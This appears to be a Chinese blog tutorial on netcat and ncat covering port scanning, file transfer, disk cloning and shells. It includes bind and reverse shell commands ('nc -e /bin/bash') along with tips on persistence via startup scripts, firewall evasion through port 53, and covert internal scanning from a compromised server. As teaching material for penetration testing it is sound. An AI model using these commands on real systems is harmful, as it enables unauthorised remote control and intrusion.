一、Netcat简介

netcat简称nc,被称为安全界的瑞士军刀。nc的基本功能如下:

  • telnet / 获取系统banner信息
  • 传输文本信息
  • 传输文件和目录
  • 加密传输文件
  • 端口扫描
  • 远程控制 / 正方向shell
  • 流媒体服务器
  • 远程克隆硬盘

二、Netcat常用参数

  • -l :开启监听
  • -p:指定端口
  • -t:以telnet形式应答
  • -e:程序重定向
  • -n:以数字形式标识IP
  • -v:显示执行命令过程
  • -z:不进行交互,直接显示结果
  • -u:使用UDP协议传输
  • -w:设置超时时间

三、Netcat常见用法

1、端口扫描

如果想单纯的端口扫描的话,利用其他工具比如nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后,我们想再对该网站的内网进行渗透。然而,我们的nmap工具是布恩那个扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而且nc体积很小,不容易被发现。

首先应该知道的一个参数是 -h ,这是最基本的一个命令,nc常跟的参数有两个,一个是 -n、一个是 -v,帮助文档解释如下:

v 参数就是列出执行过程的详细信息,

n参数翻译过来就是只接受ip地址,没有dns。之所以使用n参数,是因为使用命令的过程中只去传入ip,减少了nc把域名解析为ip的过程,这样就可以节生时间提高效率。

nc用来进行端口扫描的命令是 nc  -nvz  ip地址  端口号

z参数翻译过来就是不进行i/o,用来扫描。意思就是仅仅是使用ping去探测目标是否开启指定端口,不进行任何的交互。

z参数默认扫描的是tcp类型,如果需要扫描udp,则需要使用一个新的参数u。

2、传输文本信息

nc可以在两台机器之间相互传递信息,首先需要有一个机器进行监听一个端口,另一台以连接的方式连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息,l参数是监听模式的意思,p参时是指定一个端口:

这种相互传输信息和渗透之间的关系是,电子取证的时候可以用。当机器被攻击后,为了不破坏现场,需要提出大量的信息和文件出来做分析,这时候可以用nc的这个机制:

例如:需要一个命令的输出信息,首先在一台机器上监听一个端口,随后在被攻击的机器上执行相关的命令,然后以管道给nc,指定另一台的地址和端口,这样输出的结果就会到另一端,如下图:

如果输出内容过多,则可以将内容定向输出到文件中,如下图:

 3、传输文件和目录

作为文件传输和目录这些功能,其实和文本信息传输类似,只不过是把文本信息换成了文件和目录。首先用一台机器监听一个端口,如果有认连接并传来信息时,则将信息使用  >  重定向到文件。另一台机器连接目标指定端口然后通过  <  输出要传送的文件即可

上面的这个是正向传输的,同样的也有一个反向传输,这个需要理解一下,因为和经常用到的正反向shell原理一样。原先是我打开指定端口,等待别人连我,给我传文件。现在是我打开指定端口把文件准备好,别人连我,我传给他文件。

 这里需要理解两个重定向符号:< 和 >,> 是将文件进行输出,<是将文件进行输入

对于传输目录其实和传输文本信息传输文件一样,当做文件处理即可,传输时将目录进行压缩进行传输,随后另一台机器接口后进行解压,这样就完成了目录的传输。

例如:使用tar命令,cvf进行压缩,xvf进行解压,c是压缩的意思,v是显示详细过程,f是文件名,x是解压。

4、加密传输文件

加密传输文件需要使用mcrypt库,linux系统默认是没有安装的,需要手动安装。随后和传输文件类似,只需要在传输文件时使用mcrypt加密即可。

命令用到的参数有:

  • --flush 立即冲洗输出,
  • -F 输出数据,
  • -b 不保留算法信息,
  • -q 关闭一些非严重的警告,
  • -d  解密,

首先在接收端监听一个端口,等待另一台进行连接传送文件,随后在要传送的机器上把要传送的文件进行加密使用nc连接指定的地址和ip,如下图:

第一次需要输入加密的密码,然后回车再次确认密码,接收端输入相应的密码就会收到传输的文件,如下图:

5、流媒体服务

对于直播的功能就类似于流媒体,就是对方把视频通过流的方式进行传输,传输多少,对方就会实时的播放多少。

首先,需要在要传送文件的机器上把文件通过管道给hc,然后监听一个端口。在接收端,连接此端口然后通过管道给mplayer进行实时播放,mplayer默认linux不安装,需要手动安装。其中vo参数是选择驱动程序,cache是每秒要接收的播放帧

6、远程克隆硬盘

对于远程克隆硬盘,在远程电子取证时可以使用,使用方法需要借助dd命令,首先通过nc监听一个端口,然后通过dd指定要克隆的区分,dd的of参数相当于一个负值功能,然后在另一台机器通过nc连接此端口,dd的if参数相当于粘贴的命令。格式如下:

nc -lp 8888 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 192.168.228.128 8888 -q l

7、远程控制 / 正反向shell

原理和传输信息传输文件一样,只不过传输的是bash,windows系统是cmd,正向是目标机器主动指定bash,然后通过别人连接自己的端口,别人连接自己后,执行的命令就是自己的机器,如下图

正向shell:

被控制端:nc  -lvp  8888  -e  /bin/bash

控制端:nc  ip地址  端口

反向shell:

被控制端:nc  -e  /bin/bash  ip  8888

控制端:nc  -lvp  8888

通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问。

例如:web服务的80端口。这是正向的shell就不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会限制,这时候就可以使用反向shell,也就是攻击者指定一个端口和bash,让目标服务器来连接自己,这样就可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。

当然,有些管理员安全意识比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用dns服务的53端口,这时自己就可以监听53端口让目标服务器来连接自己。

总结:正向shell是服务器开启一个端口指定shell让别人来连。但出于防火墙原因,一般都连不上。这时需要用反向shell,让目标服务器指定shell后来连接自己。

正向:我们去连接目标

反向:让目标来连接我们

8、ncat

nc也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以监听这个端口进行连接,缺乏身份验证功能。

ncat则弥补了这些缺点,ncat不是linux系统自带的命令,而是nmap中的。ncat中很多参数和nc一样,其中可以通过 --alow参数来指定允许连接的机器,通过 --ssl进行数据的加密,如下图:

通过 allow 参数即可指定允许连接的机器,这是如果其他人即使扫描到了这个端口也无法进行连接,如下图:

客户端IP是128,当服务器只允许111时,再连接就会显示失败。

四、总结

nc小巧功能强大,所以被称为瑞士军刀,不足之处是明文传输,也没有相关的身份验证,而ncat在nc的基础上弥补了其不足,nc可以做的ncat也可以做到,所以ncat被称为21世纪的瑞士军刀。

参考:aFa攻防实验室

netcat使用教程相关推荐

  1. 如何利用Netcat进行黑客攻击第1部分:基础知识

    如何利用Netcat进行黑客攻击第1部分:基础知识 注: 本文章为翻译文章,文章的原地址在末尾.本来是想自己写一些关于netcat的使用,在google中发现了这篇文章.于是便用本人拙劣的英文水平翻译 ...

  2. Linux netcat/nc 网络利器!

    netcat是网络工具中的瑞士×××,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做 ...

  3. ffnn_GA-FFNN:基于签名的IDS的智能分类方法

    ffnn Abstract. Intrusion Detection System (IDS), the second line of defense mechanism plays a major ...

  4. Netcat的使用教程

    Netcat是一款功能强大的网络工具,可以用于 TCP/IP 连接.端口扫描.文件传输等多种网络操作.本文将介绍Netcat的详细使用教程和常用命令. 安装和配置 在Linux系统中,可以使用以下命令 ...

  5. Mac安装Netcat教程

    Netcat可以用于测试通信连接 Mac安装Netcat方式: 打开终端输入: brew install netcat 安装好以后测试,输入: nc 可以看到是这样的: itzhuzhu@itzhuz ...

  6. [转帖]tar高级教程:增量备份、定时备份、网络备份

    tar高级教程:增量备份.定时备份.网络备份 作者: lesca 分类: Tutorials, Ubuntu 发布时间: 2012-03-01 11:42 ė浏览 27,065 次 61条评论 一.概 ...

  7. nc/netcat/ncat/nmap/socat Tips

    [概述] 先说明一下,nc 与 netcat 是同一个东西,ncat 是 nmap 套件的一部分,ncat 与 socat 都号称自己是 nc 的增强版. scocat 端口释放很慢. [回显] 1. ...

  8. Kali Linux网络扫描教程(内部资料)

    Kali Linux网络扫描教程(内部资料) 试读样张:http://pan.baidu.com/s/1qWuNSYw 前  言 Kali Linux是业内最知名的安全渗透测试专用操作系统.它的前身就 ...

  9. 贝壳ip连接服务器没响应,贝壳物联通讯协议TCP连接测试教程

    一.目的 在PC上使用网络串口调试助手测试贝壳物联通信协议,模拟设备在线通信. 二.所需软件网络串口调试助手(下载) 三.所需硬件PC一台 四.测试过程 1.打开网络串口调试助手 2.点击[TCP客户 ...

最新文章

  1. Android Properties 存储
  2. myeclipse6.0下载及注冊码
  3. 3行代码给你的python提速4倍!
  4. Golang Study 一 定时器使用
  5. Transformer性能被高估?DeepMind动态评估模型的时间泛化能力
  6. 斐波那契数列(Fibonacci Sequence)
  7. WebRTC 音频模块单独编译 --【转载】
  8. 2020 最烂密码 TOP 200 大曝光,一不小心就中枪了
  9. Android的listview滚动时背景不让变黑解决办法
  10. 工作流中ServiceTask的各种方法
  11. java中为什么要使用代理
  12. select coun等于0查出来不等于0_飞蚊症不需要治疗,是真的吗?
  13. mysql分组按天统计数据_MySql按周,按月,按日分组统计数据
  14. [转载] [转载] python中的Numpy库入门
  15. zipentry java_zipentry?java实现解压缩?substring?Java用ZIP格式压缩和解压缩文件
  16. 微信小程序保存相册授权全过程:第一次授权、已授权、拒绝后再授权
  17. Spinach和发牌姬
  18. 我对于互联网发展的看法和一些理解
  19. 拥有一颗仁慈的心,才会吸引更多人善待你
  20. 笔记本电脑设备管理器中'符合USBxHCI的主机控制器'出现感叹号,所有的USB接口失灵--解决

热门文章

  1. linux系统怎么安装钉钉,在deepin linux系统中安装钉钉DingTalk的方法
  2. C#三大特性的理解和使用
  3. 骑行新藏尼!在最贫瘠的阿里感受震撼!身未动,心已远~!
  4. mathtype 插入章节编号后无法自动消失
  5. 主题:曝腾讯前十位NB人Q号码 马化腾不过是OICQ养父
  6. PHP strtotime函数参数
  7. C语言课程设计学生籍贯信息,学生籍贯信息记录簿_C语言课程设计.doc
  8. 李一男:Citron做空360的报告在瞎扯
  9. 小满未满第三期|小满是什么季节,这些小满海报来告诉你
  10. java实现身份证实名认证(阿里云api)